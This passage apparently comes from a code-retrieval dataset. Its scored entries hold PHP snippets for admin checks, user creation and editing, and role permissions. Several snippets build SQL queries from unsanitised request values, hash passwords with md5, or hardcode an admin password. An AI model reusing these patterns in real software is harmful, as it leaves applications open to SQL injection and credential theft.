$isEditingUser, $admin_id, $email;\n\t// preia ID-ul administratorului pentru actualizare\n\t$admin_id = $request_values['admin_id'];\n\t// seteaza starea de editare la fals\n\t$editeazaUtilizatorul = false;\n\n\n\t$username = esc($request_values['username']);\n\t$email = esc($request_values['email']);\n\t$password = esc($request_values['password']);\n\t$passwordConfirmation = esc($request_values['passwordConfirmation']);\n\tif(isset($request_values['role'])){\n\t\t$rol = $request_values['role'];\n\t}\n\t// inregistreaza utilizator daca nu sunt erori in formular\n\tif (count($errors) == 0) {\n\t\t$password = md5($password);\n\n\t\t$query = \"UPDATE utilizatori SET username='$username', email='$email', rol='$rol', password='$password' WHERE id=$admin_id\";\n\t\tmysqli_query($conn, $query);\n\n\t\t$_SESSION['message'] = \"Utilizatorul a fost actualizat cu succes\";\n\t\theader('location: users.php');\n\t\texit(0);\n\t}\n}", "title": "" }, { "docid": "3e93b902141322cd2cbbe8923acffa94", "score": "0.64849067", "text": "public function panel_administrativo()\n { //inicio sesion \n session_start();\n //no se permte el accseo desde la url sin estar registrado\n if(isset( $_SESSION['nombre']) && $_SESSION['password']){\n // se carga la vista panel_control.php\n frame($this,'libro/panel_control');}\n \n else{ $this->load->view('errorurl');}\n \n }", "title": "" }, { "docid": "d552efe841fc8ea17471661a455a74f9", "score": "0.6475734", "text": "function givePrivaleges($title){\n if($title==\"Administrator\"){\n return 1;\n }\n else{\n return 0;\n }\n}", "title": "" }, { "docid": "7821c503cc4581cab76bf7834a9c736f", "score": "0.646877", "text": "function edit($login_usuario){\n\n $usuario_model = recuperarDatosForm();\n\n if($_SESSION['rol']=='ADMIN'){\n $respuesta = $usuario_model->adminEDIT();\n }else{\n $respuesta = $usuario_model->EDIT();\n }\n if($respuesta === true){\n showcurrent($usuario_model->getLogin());\n }else{\n exit(\"Fallo al editar\");\n }\n\n}", "title": "" }, { "docid": "3a8b9ed7e5d43ddb10a70be4862bc7f9", "score": "0.64654315", "text": "function modifierUti() {\r\n \tmysql_query(\"UPDATE if_utilisateur SET nom='$this->nom',prenom='$this->prenom',login='$this->login',pwd='\".easy($this->pwd,\"e\").\"',admin='$this->admin' WHERE numuti='$this->numuti'\");\t\r\n\t$this->activerUti();\r\n }", "title": "" }, { "docid": "24f81e308df1a4811c20c9144af9b1d3", "score": "0.64445704", "text": "function creeazaAdmin($request_values){\n\tglobal $conn, $errors, $role, $username, $email;\n\t$username = esc($request_values['username']);\n\t$email = esc($request_values['email']);\n\t$password = esc($request_values['password']);\n\t$passwordConfirmation = esc($request_values['passwordConfirmation']);\n\n\tif(isset($request_values['role'])){\n\t\t$rol = esc($request_values['role']);\n\t}\n\t// validare formular: se asigura ca formularul este completat corect\n\tif (empty($username)) { array_push($errors, \"Este nevoie de nume de utilizator\"); }\n\tif (empty($email)) { array_push($errors, \"Oops.. nu ai scris emailul\"); }\n\tif (empty($rol)) { array_push($errors, \"Este necesar un rol pentru utilizatori\");}\n\tif (empty($password)) { array_push($errors, \"Ai uitat sa pui parola\"); }\n\tif ($password != $passwordConfirmation) { array_push($errors, \"Parolele nu se potrivesc\"); }\n\t// Asigura ca se introduce de mai multe ori un nume de utilizator \n\t// Email-ul si utilizatorii ar trebui sa fie unici\n\t$verif_utiliz_query = \"SELECT * FROM utilizatori WHERE username='$username' \n\t\t\t\t\t\t\tOR email='$email' LIMIT 1\";\n\t$result = mysqli_query($conn, $verif_utiliz_query);\n\t$utilizator = mysqli_fetch_assoc($result);\n\tif ($utilizator) { // daca exista\n\t\tif ($user['username'] === $username) {\n\t\t array_push($errors, \"Utilizatorul deja exista\");\n\t\t}\n\n\t\tif ($user['email'] === $email) {\n\t\t array_push($errors, \"Email-ul deja exista\");\n\t\t}\n\t}\n\t// inregistreaza utilizator daca nu sunt erori\n\tif (count($errors) == 0) {\n\t\t$password = md5($password);//cripteaza parola\n\t\t$query = \"INSERT INTO utilizatori (username, email, rol, password, creat_la, actualizat_la) \n\t\t\t\t VALUES('$username', '$email', '$rol', '$password', now(), now())\";\n\t\tmysqli_query($conn, $query);\n\n\t\t$_SESSION['message'] = \"Utilizatorul admin a fost creat cu succes\";\n\t\theader('location: users.php');\n\t\texit(0);\n\t}\n}", "title": "" }, { "docid": "24f81e308df1a4811c20c9144af9b1d3", "score": "0.64445704", "text": "function creeazaAdmin($request_values){\n\tglobal $conn, $errors, $role, $username, $email;\n\t$username = esc($request_values['username']);\n\t$email = esc($request_values['email']);\n\t$password = esc($request_values['password']);\n\t$passwordConfirmation = esc($request_values['passwordConfirmation']);\n\n\tif(isset($request_values['role'])){\n\t\t$rol = esc($request_values['role']);\n\t}\n\t// validare formular: se asigura ca formularul este completat corect\n\tif (empty($username)) { array_push($errors, \"Este nevoie de nume de utilizator\"); }\n\tif (empty($email)) { array_push($errors, \"Oops.. nu ai scris emailul\"); }\n\tif (empty($rol)) { array_push($errors, \"Este necesar un rol pentru utilizatori\");}\n\tif (empty($password)) { array_push($errors, \"Ai uitat sa pui parola\"); }\n\tif ($password != $passwordConfirmation) { array_push($errors, \"Parolele nu se potrivesc\"); }\n\t// Asigura ca se introduce de mai multe ori un nume de utilizator \n\t// Email-ul si utilizatorii ar trebui sa fie unici\n\t$verif_utiliz_query = \"SELECT * FROM utilizatori WHERE username='$username' \n\t\t\t\t\t\t\tOR email='$email' LIMIT 1\";\n\t$result = mysqli_query($conn, $verif_utiliz_query);\n\t$utilizator = mysqli_fetch_assoc($result);\n\tif ($utilizator) { // daca exista\n\t\tif ($user['username'] === $username) {\n\t\t array_push($errors, \"Utilizatorul deja exista\");\n\t\t}\n\n\t\tif ($user['email'] === $email) {\n\t\t array_push($errors, \"Email-ul deja exista\");\n\t\t}\n\t}\n\t// inregistreaza utilizator daca nu sunt erori\n\tif (count($errors) == 0) {\n\t\t$password = md5($password);//cripteaza parola\n\t\t$query = \"INSERT INTO utilizatori (username, email, rol, password, creat_la, actualizat_la) \n\t\t\t\t VALUES('$username', '$email', '$rol', '$password', now(), now())\";\n\t\tmysqli_query($conn, $query);\n\n\t\t$_SESSION['message'] = \"Utilizatorul admin a fost creat cu succes\";\n\t\theader('location: users.php');\n\t\texit(0);\n\t}\n}", "title": "" }, { "docid": "17b44528befc1e7dd739d0b02b22f577", "score": "0.6435699", "text": "function alta(){\n\t\t\t//returns 0 upon succes.\n\t\t\t//return -1 upon a PDOException and displays its error message.\n\t\t\t//returns -2 if the admin tried to suscribe himself.\n\t\t\t$error = 0;\n\t\t\t$id_usuario = $this->params_in[1];\n\t\t\tif($id_usuario != $_SESSION['idusuario']){\n\t\t\t\ttry{\n\t\t\t\t\t$sql = \"UPDATE usuarios SET activo = 1 WHERE id_usuario = ?\";\n\t\t\t\t\t$query = $this->db->prepare($sql);\n\t\t\t\t\t$query->bindParam(1, $id_usuario);\n\t\t\t\t\t$query->execute();\n\t\t\t\t}catch (PDOException $e) {\n\t\t echo \"Error:\" . $e->getMessage();\n\t\t $error = -1;\n\t\t }\t\t\t\t\n\t\t\t}else{\n\t\t\t\t$error = -2;\n\t\t\t}\n\t return $error;\n\t\t}", "title": "" }, { "docid": "aceb9407412446c7b5dfe5a7d9eb8feb", "score": "0.64324456", "text": "public function actualizar_administrador_controlador(){\n\t\t\t$cuenta= mainModel::decryption($_POST['cuenta_update']);\n\n\t\t\t$CC= mainModel::limpiar_cadena($_POST['CC-update']);\n\t\t\t$nombre= mainModel::limpiar_cadena($_POST['nombre-update']);\n\t\t\t$apellido= mainModel::limpiar_cadena($_POST['apellido-update']);\n\t\t\t$telefono= mainModel::limpiar_cadena($_POST['telefono-update']);\n\t\t\t$direccion= mainModel::limpiar_cadena($_POST['direccion-update']);\n\n\t\t\t$consulta1=mainModel::ejecutar_consulta_simple(\"SELECT * FROM admin WHERE CuentaCodigo='$cuenta'\");\n\t\t\t$datosAdmin=$consulta1->fetch();\n\n\t\t\tif($CC!=$datosAdmin['AdminCC']){\n\t\t\t\t$const1=mainModel::ejecutar_consulta_simple(\"SELECT AdminCC FROM admin WHERE AdminCC='$CC'\");\n\t\t\t\tif($const1->rowCount()>=1){\n\t\t\t\t\t$alerta=[\n\t\t\t\t\t\t\"Alertas\"=>\"simple\",\n\t\t\t\t\t\t\"Titulo\"=>\"Ocurrio un error inesperado\",\n\t\t\t\t\t\t\"Texto\"=>\"La Cedula que acaba de actualizar ya se encuenta registrada.\",\n\t\t\t\t\t\t\"Tipo\"=>\"error\"\n\t\t\t\t\t\t];\n\t\t\t\t\t\treturn mainModel::sweet_alert($alerta);\n\t\t\t\t\t\texit();\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$datosAdminAct=[\n\t\t\t\t\"CC\"=>$CC,\n\t\t\t\t\"Nombre\"=>$nombre,\n\t\t\t\t\"Apellido\"=>$apellido,\n\t\t\t\t\"Telefono\"=>$telefono,\n\t\t\t\t\"Direccion\"=>$direccion,\n\t\t\t\t\"Codigo\"=>$cuenta\n\t\t\t];\n\n\t\t\tif(administradorModelo::actualizar_administrador_modelo($datosAdminAct)){\n\t\t\t\t$alerta=[\n\t\t\t\t\t\t\"Alertas\"=>\"recargar\",\n\t\t\t\t\t\t\"Titulo\"=>\"Datos actualizados\",\n\t\t\t\t\t\t\"Texto\"=>\"Los datos fueron actualizados de manera satisfactoria.\",\n\t\t\t\t\t\t\"Tipo\"=>\"success\"\n\t\t\t\t\t\t];\n\t\t\t}else{\n\t\t\t\t$alerta=[\n\t\t\t\t\t\t\"Alertas\"=>\"simple\",\n\t\t\t\t\t\t\"Titulo\"=>\"Ocurrio un error inesperado\",\n\t\t\t\t\t\t\"Texto\"=>\"Los datos no han podido ser actualizar los datos, por favor intente nuevamente.\",\n\t\t\t\t\t\t\"Tipo\"=>\"error\"\n\t\t\t\t\t\t];\n\t\t\t\t\t\t\n\t\t\t}\n\t\t\treturn mainModel::sweet_alert($alerta);\n\t\t}", "title": "" }, { "docid": "ac61a49e0b09df4894e1c99e38f48770", "score": "0.64278185", "text": "public function actionPermisosrutas()\n {\n $auth = Yii::$app->authManager;\n // CREACIÓN DE PERMISOS\n $permisosuperadmin = $auth->createPermission('permisoSuperadmin');\n $auth->add($permisosuperadmin);\n $permisoadministrador = $auth->createPermission('permisoAdministrador');\n $auth->add($permisoadministrador);\n\n // RUTA PARA SUPERADMIN\n $pathsuperadminadmin = $auth->createPermission('/admin/*');\n $auth->add($pathsuperadminadmin);\n $pathsuperadmingii = $auth->createPermission('/gii/*');\n $auth->add($pathsuperadmingii);\n $pathsuperadminusuario = $auth->createPermission('/usuario/*');\n $auth->add($pathsuperadminusuario);\n $pathsuperadmincarnet = $auth->createPermission('/carnet/*');\n $auth->add($pathsuperadmincarnet);\n $pathsuperadminpersonal = $auth->createPermission('/personal/*');\n $auth->add($pathsuperadminpersonal);\n $pathsite = $auth->createPermission('/site/*');\n $auth->add($pathsite);\n\n // RUTAS PARA PERSONAL\n $pathcarnetindex = $auth->createPermission('/carnet/index');\n $auth->add($pathcarnetindex);\n $pathcarnetcreate = $auth->createPermission('/carnet/create');\n $auth->add($pathcarnetcreate);\n $pathcarnetupdate = $auth->createPermission('/carnet/update');\n $auth->add($pathcarnetupdate);\n $pathcarnetview = $auth->createPermission('/carnet/view');\n $auth->add($pathcarnetview);\n $pathsiteindex = $auth->createPermission('/site/index');\n $auth->add($pathsiteindex);\n $pathsitelogout = $auth->createPermission('/site/logout');\n $auth->add($pathsitelogout);\n\n\n // AÑADIR RUTA A PERMISO SUPERADMIN\n $auth->addChild($permisosuperadmin,$pathsuperadminadmin);\n $auth->addChild($permisosuperadmin,$pathsuperadmingii);\n $auth->addChild($permisosuperadmin,$pathsuperadminusuario);\n $auth->addChild($permisosuperadmin,$pathsuperadmincarnet);\n $auth->addChild($permisosuperadmin,$pathsuperadminpersonal);\n $auth->addChild($permisosuperadmin,$pathsite);\n\n // AÑADIR RUTA A PERMISO ADMINISTRADOR\n $auth->addChild($permisoadministrador,$pathcarnetindex);\n $auth->addChild($permisoadministrador,$pathcarnetcreate);\n $auth->addChild($permisoadministrador,$pathcarnetview);\n $auth->addChild($permisoadministrador,$pathcarnetupdate);\n $auth->addChild($permisoadministrador,$pathsiteindex);\n $auth->addChild($permisoadministrador,$pathsitelogout);\n\n // CREACIÓN DE ROLES\n // ROLE \"superadmin\" y le asigna el permiso \"permisoSuperadmin\"\n $superadmin = $auth->createRole('superadmin');\n $auth->add($superadmin);\n $auth->addChild($superadmin, $permisosuperadmin);\n\n // ROLE 'administrador' y le asigna el permiso \"permisoPersonal\"\n $administrador = $auth->createRole('administrador');\n $auth->add($administrador);\n $auth->addChild($administrador, $permisoadministrador);\n\n }", "title": "" }, { "docid": "ec8c614520cd3fe3f810b1ed8aa84e14", "score": "0.64269674", "text": "public function isAdmin();", "title": "" }, { "docid": "a271f40b9ab1c61e7010706eceb30a54", "score": "0.64226335", "text": "public function crear()\n {\n if (isset($this->usuarioActual)) {\n if ($this->usuarioActual->getRol() == \"administrador\" || $this->usuarioActual->getRol() == \"moderador\") {\n $this->view->render(\"noticia\", \"crearNoticia\");\n } else {\n $this->view->setVariable(\"mensajeError\", \"No tienes suficientes privilegios\", true);\n $this->view->redirect(\"noticia\", \"index\");\n }\n } else {\n $this->view->setVariable(\"mensajeError\", \"Se necesita login para esa acci&oacute;n\", true);\n $this->view->redirect(\"noticia\", \"index\");\n }\n }", "title": "" }, { "docid": "fe478c9b54c915bc9249b793aed60614", "score": "0.64132524", "text": "function changeUserAdmin()\n{\n $changeUser = $_GET['idUser'];\n $user = getUser($changeUser);\n if ($user['admin']) {\n $user['admin'] = 0;\n } else {\n $user['admin'] = 1;\n }\n $res = saveUser($user);\n if ($res == true) {\n if ($user['admin']) {\n setFlashMessage($user['initials'] . \" est désormais administrateur.\");\n } else {\n setFlashMessage($user['initials'] . \" est désormais utilisateur.\");\n }\n } else {\n setFlashMessage(\"Erreur de modification du rôle pour \" . $user['initials']);\n }\n redirect(\"adminCrew\");\n}", "title": "" }, { "docid": "34d70f9542e943bc9e36bc788cf8cfaa", "score": "0.6404953", "text": "public function getAdministrador()\n\t{\n\t\treturn $this->administrador;\n\t}", "title": "" }, { "docid": "b422affc2809464c16e8618baae9f21b", "score": "0.6401831", "text": "function estAdmin() {\r\n \t $row=SelectSimple(\"admin\",\"if_utilisateur\",\"iduti\",$this->id);\t\r\n\t if ($row[0]) return true;\r\n \r\n }", "title": "" }, { "docid": "ad8b956756dd852e25a678e341d92def", "score": "0.63892597", "text": "public function isAuthorized($user) {\n /*if ($this->action === 'add') {\n return true;\n }*/\n\n // Le propriétaire du post peut l'éditer et le supprimer\n // Admin can access every action\n if (isset($user['role']) && $user['role'] === 'admin' && in_array($this->action, array('index', 'edit', 'delete', 'add', 'logout', 'view', 'index', 'admin'))) \n {\n return true;\n }\n // Default deny\n return false;\n \n //return parent::isAuthorized($user);\n}", "title": "" }, { "docid": "90c9df57f6362c02f7961ff2c42b2d3a", "score": "0.6384641", "text": "function editeazaAdmin($admin_id)\n{\n\tglobal $conn, $username, $rol, $editeazaUtilizatorul, $admin_id, $email;\n\n\t$sql = \"SELECT * FROM utilizatori WHERE id=$admin_id LIMIT 1\";\n\t$result = mysqli_query($conn, $sql);\n\t$admin = mysqli_fetch_assoc($result);\n\n\t// seteaza valorile formularului ($username and $email)pentru a fi actualizate\n\t$username = $admin['username'];\n\t$email = $admin['email'];\n}", "title": "" }, { "docid": "90c9df57f6362c02f7961ff2c42b2d3a", "score": "0.6384641", "text": "function editeazaAdmin($admin_id)\n{\n\tglobal $conn, $username, $rol, $editeazaUtilizatorul, $admin_id, $email;\n\n\t$sql = \"SELECT * FROM utilizatori WHERE id=$admin_id LIMIT 1\";\n\t$result = mysqli_query($conn, $sql);\n\t$admin = mysqli_fetch_assoc($result);\n\n\t// seteaza valorile formularului ($username and $email)pentru a fi actualizate\n\t$username = $admin['username'];\n\t$email = $admin['email'];\n}", "title": "" }, { "docid": "43f689d90f06e79d1e5b721876f5a299", "score": "0.63750404", "text": "function es_administrador($user = null)\n { \n if (is_null($user)) {\n return false;\n }\n \n if ($user->rol != 'admin') {\n return false;\n }\n\n return true;\n\n }", "title": "" }, { "docid": "5404771dddbe2687af12a1ebce1797c9", "score": "0.6354908", "text": "private function securityControle() {\n if (\n !$this->getUser()->hasRole('ROLE_ADMIN')\n ) {\n // throw $this->createAccessDeniedException('Accès interdit');\n return $this->redirect($this->generateUrl('ventes_accueil'));\n }\n }", "title": "" }, { "docid": "1a85b4bed82a0f5e8e7e3bfc15b57a19", "score": "0.63370633", "text": "function altaUsuario(){regUser();}", "title": "" }, { "docid": "0637b24b0d3b20f9b6c180d9656565ec", "score": "0.6335853", "text": "function administradores($require_level){\n global $session;\n $user = current_user();\n $login_level = nivel_usuario($current_user['idpermisos']);\n if($user['idpermisos'] != 1 && !$session->isUserLoggedIn(true)){\n $session->msg('d','Se ha cerrado la session');\n redirect('includes/functions/cerrar-session.php', false);\n }elseif($session->isUserLoggedIn(true)){\n return true;\n }\n}", "title": "" }, { "docid": "7aae0276b3aa6a30c38268de029fb521", "score": "0.632271", "text": "public function isAdmin() {\n\n\t}", "title": "" }, { "docid": "8e6997e9f035b2040e0f80de6d0bb655", "score": "0.631729", "text": "function PCO_PermisoAccion($PCO_Accion)\n\t{\n\t\tglobal $PCOSESS_LoginUsuario,$TablasCore;\n\t\t// Variable que determina el estado de aceptacion o rechazo del permiso 0=no permiso 1=ok permiso\n\t\t$retorno=0;\n\n\t\t// Evalua inicialmente permisos para el admin (evita queries)\n\t\tif (PCO_EsAdministrador(@$PCOSESS_LoginUsuario)) $retorno=1;\n\n\t\t// Si es un usuario estandar siempre entra, si es el admin entra si no es permiso raiz\n\t\tif (!$retorno)\n\t\t\t{\n\t\t\t\t// Busca permisos agregados directamente al usuario\n\t\t\t\t$retorno=PCO_PermisoAgregadoAccion($PCO_Accion);\n\t\t\t\t// Si no encuentra permisos directos, busca en los heredados de los directos\n\t\t\t\tif (!$retorno)\n\t\t\t\t\t{\n\t\t\t\t\t\t// Si no encuentra el permiso directo llama los heredados\n\t\t\t\t\t\t$retorno=PCO_PermisoHeredadoAccion($PCO_Accion);\n\t\t\t\t\t}\n\t\t\t\t//Si no encuentra en los heredados busca en preautorizados por configuracion\n\t\t\t\tif (!$retorno)\n\t\t\t\t\t{\n\t\t\t\t\t\t$resultado=PCO_EjecutarSQL(\"SELECT id from \".$TablasCore.\"parametros WHERE funciones_personalizadas LIKE '%$PCO_Accion%' \");\n\t\t\t\t\t\t$parametros = $resultado->fetch();\n\t\t\t\t\t\t//Si encuentra un registro con la accion preautorizada entonces autoriza al usuario\n\t\t\t\t\t\tif ($parametros[\"id\"]!=\"\")\n\t\t\t\t\t\t\t$retorno=1;\n\t\t\t\t\t}\n\t\t\t}\n\n\t\t//echo $PCOSESS_LoginUsuario.':Permiso accion='.$PCO_Accion.':'.$retorno.'<br>'; //Activar para depuracion permisos\n\t\treturn $retorno;\n\t}", "title": "" }, { "docid": "e9c7ffab251cec624da2502fdeb46418", "score": "0.63164", "text": "public function action()\n {\n if (isset($_POST['username']) && isset($_POST['userpass'])) {\n if ($_POST['username'] == 'admin' && $_POST['userpass'] == 'coucou') {\n $_SESSION[Application::SESS_NS_AUTH]['userrole'] = 'ADMIN';\n $_SESSION[Application::SESS_NS_AUTH]['fullname'] = 'Administrateur';\n $_SESSION[Application::SESS_NS_AUTH]['test_IP'] = $_SERVER['REMOTE_ADDR'];\n header(\"location: index.php?page=extranet\");\n exit();\n } \n }\n }", "title": "" }, { "docid": "a72732c7b4bc9b8bbad6212746620de2", "score": "0.6312131", "text": "public function restreindreClientEtAdministrateur()\n {\n if ($this->getUtilisateur() == null)\n throw $this->createNotFoundException('Vous devez être authentifié pour accéder à cette page');\n }", "title": "" }, { "docid": "7afe3258b2770fa61910430e10ac1e12", "score": "0.6307239", "text": "function modificarUsuarioAction() {\n\t\t\tif (BLOQUEAR == 1){\n\t\t\t\t$this->render('appBloqueada');\n\t\t\t} else if ($this->security(true) && $_SESSION['user']->rol>=100) {\n\t\t\t\t$mensaje = \"\";\n\n\t\t\t\tif(isset($_POST['modificarUsuario'])) {\n\t\t\t\t\tDBDelegados::save($_GET['id'], $_POST['rol']);\n\t\t\t\t\t$mensaje = 'Usuario modificado correctamente';\n\t\t\t\t} else if (isset($_POST['eliminarUsuario'])) {\n\t\t\t\t\tDBDelegados::remove($_GET['id']);\n\t\t\t\t\t$mensaje = 'Usuario eliminado correctamente';\n\t\t\t\t}\n\n\t\t\t\t$user = DBDelegados::findById($_GET['id']);\n\t\t\t\t$this->render('modificarUsuario', array('mensaje'=>$mensaje, 'usuario'=>$user));\n\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "814d2dfc5e5447d0374c91d664a1faf2", "score": "0.6305987", "text": "public function editar()\n {\n if (isset($_GET[\"id\"])) {\n $id = (int)$_GET[\"id\"];\n\n\n //traemos todos los datos del usuario para mostrarlos en el formulario\n $administrador = new Administrador($this->adapter);\n $administrador = $administrador->getById($id);\n\n //Cargamos la vista para mostrar formulario de insert\n $this->view(\"Administrador/actualizar\", array(\n \"i\" => $administrador\n ));\n }\n }", "title": "" }, { "docid": "27fbab1c0fb8d88e97e8f855402aa6ff", "score": "0.62959623", "text": "protected function allowedAminAction()\n {\n if (Gate::denies('admin-action')) {\n throw new AuthorizationException('Esta accion es solo permitida por los admins :)');\n }\n }", "title": "" }, { "docid": "85fe8fa0f74df68b1662423f280b7444", "score": "0.62948143", "text": "private function securityControle() {\n if (\n !$this->getUser()->hasRole('ROLE_ADMIN') &&\n !$this->getUser()->hasRole('ROLE_COMPTABLE')\n ) {\n // throw $this->createAccessDeniedException('Accès interdit');\n return $this->redirect($this->generateUrl('ventes_accueil'));\n }\n }", "title": "" }, { "docid": "10161b7629c5246be3dcdc3e047859ce", "score": "0.6293988", "text": "function userAdmin()\n{\n\tif (userConnecte() && $_SESSION['membre']['statut'] == 1) {\n\t\treturn true;\n\t} else {\n\t\treturn false;\n\t}\n}", "title": "" }, { "docid": "31657d92214eb33ca52d775bafffc5c9", "score": "0.6288623", "text": "private function revisarUsuario() {\n $user = Session::get('frontSession','NULL');\n if( $user == 'NULL' || !$user->admin){\n return redirect('/admin')->with('flash_message_error', 'Error acceso denegado.');\n }\n }", "title": "" }, { "docid": "3c005841eb37228b21d35759863b5794", "score": "0.62677515", "text": "function verificarAdministrativoOperacional(){\n\t\n\t\t\tif( $this->gettipo_user_pagamento() == 'estagiario' )\n\t\t\t\treturn $this->getSqlUserPagamento('estagiarios','id');\n\t\t\tif( $this->gettipo_user_pagamento() == 'autonomo' )\n\t\t\t\treturn $this->getSqlUserPagamento('dados_autonomos','id');\n\t\t\tif( $this->gettipo_user_pagamento() == 'socio' )\n\t\t\t\treturn $this->getSqlUserPagamento('dados_do_responsavel','idSocio');\n\t\t\tif( $this->gettipo_user_pagamento() == 'fornecedor' )\n\t\t\t\treturn $this->getSqlUserPagamento('dados_pj','id');\n\t\t}", "title": "" }, { "docid": "eef957dd31551390af6dc07fae0d022e", "score": "0.6264991", "text": "public function index()\n {\n //only admin should have this access\n }", "title": "" }, { "docid": "efa028f8e207a22b25b88db297af2952", "score": "0.62402683", "text": "public function edit(Administrador $administrador)\n {\n //\n }", "title": "" }, { "docid": "a39b58617acec8c34cd4a766ab9bf540", "score": "0.62383014", "text": "function PCO_PermisoAgregadoAccion($PCO_Accion)\n\t{\n\t\t// Variable que determina el estado de aceptacion o rechazo del permiso 0=no permiso 1=ok permiso\n\t\t$retorno=0;\n\t\tglobal $ConexionPDO,$TablasCore,$PCOSESS_LoginUsuario;\n\n\t\t$consulta = $ConexionPDO->prepare(\"SELECT \".$TablasCore.\"menu.id FROM \".$TablasCore.\"usuario_menu,\".$TablasCore.\"menu WHERE \".$TablasCore.\"menu.id=\".$TablasCore.\"usuario_menu.menu AND usuario='$PCOSESS_LoginUsuario' AND \".$TablasCore.\"menu.comando='$PCO_Accion' \");\n\t\t$consulta->execute();\n\t\t$registro = $consulta->fetch();\n\t\tif ($registro[0]!=\"\")\n\t\t\t{\n\t\t\t\t$retorno=1;\n\t\t\t}\n\t\t//echo $PCOSESS_LoginUsuario.':Permiso agregado accion='.$PCO_Accion.':'.$retorno.'<br>'; //Activar para depuracion permisos\n\t\treturn $retorno;\n\t}", "title": "" }, { "docid": "6bb4567e5451638746098367d836f6fd", "score": "0.6238131", "text": "function admin_protect()\n{\n\tglobal $user_data; //bi burda kullandim global variable o da zorunluluktan :D\n\tif(has_access($user_data['user_id'], 1) === false)\n\t{\n\t\theader('Location: index.php');\n\t\texit();\n\t}\n}", "title": "" }, { "docid": "d4aa6264bc5574050027c87dc1b85f13", "score": "0.6201187", "text": "function CreateAdmins($param, $mypermission) {\n if($mypermission != 7) {\n if($this->model->getrole_id() != 5) {\n $checkIfexists = $this->getAdminByNameAndPassword();\n if (count($checkIfexists) > 0){\n return 'This user already exists on the system';\n } else {\n \n $rows = $this->model->getRows();\n $sql_data = $this->CreateRow($rows, $this->model);\n $update = $this->businessLogic->create_new_row($this->table_name, $sql_data[0], $sql_data[1], $sql_data[2]);\n return $this->checkIsWasGood($update);\n }\n } else {\n return \"Unable to add owner\";\n }\n return \"sales coldn't create administrators\";\n \n }\n \n }", "title": "" }, { "docid": "207e487499bfa34e114b5b5f38c2d6b3", "score": "0.6194934", "text": "function isAdmin(){\r\n $user = $this->loadUser(Yii::app()->user->id);\r\n if($user != null)\r\n return intval($user->id_tipo_usuario) == 2;\r\n return false;\r\n }", "title": "" }, { "docid": "d8bccf19f568a26ad5d99a5be8a2bac8", "score": "0.61872345", "text": "function userAdminisrtationPanelHandler(){\n \n if(isset($_POST[\"newUser\"])){\n showUserAdministratonNewUserPanel();\n }else if(isset($_POST[\"newUserSubmit\"])){\n administratonNewUserSubmit();\n }else if(isset($_POST[\"editUser\"])){\n \n }else if(isset($_POST[\"editUserSubmit\"])){\n \n }else if(isset($_POST[\"deleteUser\"])){\n \n }else if(isset($_POST[\"deleteUserSubmit\"])){\n \n }else if(isset($_POST[\"logoutUser\"])){\n \n }else{\n //show administrator panel if no specific request was made\n showUserAdministratorPanel('');\n }\n \n }", "title": "" }, { "docid": "23040b93dc677b0caa65047a083c23bb", "score": "0.6184099", "text": "public function getAdmin();", "title": "" }, { "docid": "cf50a147f29cd133c7c6259b9c000d57", "score": "0.61745733", "text": "public function esAdministrativo()\n {\n return ! $this->tieneRoles([\n SpecialRole::docente(), SpecialRole::estudiante(), SpecialRole::acudiente()\n ]);\n }", "title": "" }, { "docid": "d588d4cf43b07e263761ce604fee5858", "score": "0.61736387", "text": "private function canviInici ( ) {\r\n \r\n $_SESSION[\"usuari\"] = $this->correu;\r\n $this->view = $_SESSION[\"viewPath\"] . 'changepassword.php'; \r\n \r\n }", "title": "" }, { "docid": "64b4f74f79c928681f3d05b525f92114", "score": "0.6173512", "text": "public function authorization_member()\n\t{\n\t}", "title": "" }, { "docid": "dd04932a527ee3f247cab26ff11b1109", "score": "0.61718154", "text": "public function activaradmin($ClaveAdministrador)\n {\n $consulta = administradores::withTrashed()->where('ClaveAdministrador',$ClaveAdministrador)->restore();\n\n Session::flash('mensaje','El Administrador ha sido ACTIVADO');\n return redirect()->route('reporteadmin');\n\n }", "title": "" }, { "docid": "514d7bac7588045fbb0e912044f2b887", "score": "0.61711645", "text": "function verifica_usuario(){\n\t\t\t\t\n\t\tif(isset($_SESSION['tipoid'])){\n\t\t\t\n\t\t\trequire_once 'recursos/conexion.php';\n\t\t\t$idconexion=ConectarServidor();\n\t\t\t\n\t\t\t$tipoid=$_SESSION['tipoid'];\n\t\t\t$sql=\"SELECT * FROM tbl_tipousuario WHERE TipoID='$tipoid'\";\n\t\t\t$query_tipo_select=mysqli_query($idconexion,$sql) or die (\"Error al seleccionar\"\n\t\t\t.\"tipo de usuario\".mysqli_error($idconexion));\n\t\t\t\n\t\t\t$dato_tipo=mysqli_fetch_array($query_tipo_select);\n\t\t\t$tipo_usuario=$dato_tipo['Nombre'];\n\t\t\t\n\t\t\t\tif($tipo_usuario==\"Administraccion\"){\n\t\t\t\t\t\t\t\n\t\t\t\t\t$privilegio=2;\n\t\t\t\t\n\t\t\t\t}else{\n\t\t\t\t\t\n\t\t\t\t\t$privilegio=1;\n\t\t\t\t}\n\t\t\t\treturn $privilegio;\t\n\t\t}\n\t\t\n\t\tmysqli_close($idconexion);\n\t\t\n\t}", "title": "" }, { "docid": "63af1dd09681a17d94f2f8ae4830af8a", "score": "0.6162778", "text": "public function permission(){\r\n \r\n }", "title": "" }, { "docid": "afba6920dfccf6d55d4069b79a54639c", "score": "0.61553013", "text": "public static function showAdmin()\r\n {\r\n //Envoi sur la page update de référence si la page donnée est égale à refform et que l'utilisateur est un admin\r\n if (@$_SESSION[\"role\"] === \"admin\" && @$_GET[\"page\"] == \"refForm\" && @$_GET[\"formType\"] == \"update\") {\r\n Self::updateRef(@$_GET[\"idRef\"]);\r\n } else if (@$_SESSION[\"role\"] === \"admin\") {\r\n Self::showAdminTable();\r\n } else {\r\n Self::showLogin();\r\n }\r\n }", "title": "" }, { "docid": "228ea7b0a4f07b261cdaaff78f0b07a7", "score": "0.615136", "text": "public function cadastrar_unidade(){\n autoriza(2);\n $this->load->template_admin(\"unidade/cadastrar_unidade\");\n }", "title": "" }, { "docid": "68ed2df54bc8ab47183177502af0f887", "score": "0.61503446", "text": "function PCO_EsAdministrador($Usuario)\n\t{\n\t\tglobal $PCOVAR_Administradores;\n\t\t$ListaAdministradores=$PCOVAR_Administradores;\n\n\t\t$PCOVAR_ListaUsuarios=PCO_EjecutarSQL(\"SELECT usuarios_desarroladores FROM core_parametros WHERE 1=1 LIMIT 0,1\")->fetchColumn();\n\t\tif 